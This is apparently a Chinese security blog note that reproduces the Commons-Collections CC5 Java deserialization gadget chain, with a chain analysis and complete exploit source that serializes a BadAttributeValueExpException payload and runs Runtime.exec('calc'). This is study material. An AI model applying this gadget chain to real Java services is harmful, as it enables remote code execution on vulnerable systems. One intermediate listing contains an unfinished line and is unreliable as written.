JAVA安全学习笔记--Commons-Collections链复现篇(06. CC5链)

CC5链

前言

最后两条链子了冲冲冲!

CC5链的后半部分其实就是CC6的后半条链子,而CC6链是CC1的变种,所以CC5也算是CC1的变种。

后半条链子如下图

image-20250914144105352

环境部署

就是CC1的环境

  • jdk8u65
  • Comoons-Collections 3.2.1

攻击链分析

我们直接从TiedMapEntry#getVlaue往前跟进。

  • 还记得我们在讲解CC6链子的时候提过过一个神奇的现象吗?

就是在我们debug调试的时候便会自动走完整条链子,因为它自动调用了toString方法,而这个方法里调用了getValue方法。

没错这次我们的CC5便是用到了toString方法来连接getValue

image-20250914144343771

  • 我们从toString继续往前跟进,看谁调用了它

可以发现找到的实在太多了,我们一个个看显然不现实,所以去ysoserial官方看看。

image-20250914144902207

可以发现BadAttributeValueExpException.readObject()直接调用了它,跟进看看

image-20250914145156152

然后我们看一下这个类的构造函数

image-20250914145321906

发现可以直接传入一个对象赋值给val,并且这是public的可以直接调用。

所以我们的攻击链就非常的明显了:

image-20250914145528305

编写EXP

我先将CC6的EXP先粘出来,然后咱们一步步修改:

package com.test.cc5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();

        Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        HashMap<Object,Object> hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry,"bbb");
        lazymap.remove("aaa");
        Class clazz = LazyMap.class;
        Field fieldfactory = clazz.getDeclaredField("factory");
        fieldfactory.setAccessible(true);
        fieldfactory.set(lazymap,chainedTransformer);

        serialize(hashMap1);
        unserialize("ser.bin");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException()
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

需要删除链子前半部分的代码

image-20250914145924781

添加代码与修改如下

image-20250914150304124

最终完整的EXP如下:

package com.test.cc5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();

        Map lazymap = LazyMap.decorate(hashMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

运行看效果

image-20250914150535948

成功弹出计算器。

小结

这条链子简直不要太EZ啊,爽爽爽。

我们将CC5与CC6放一起画个图对比

image-20250914151928050

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注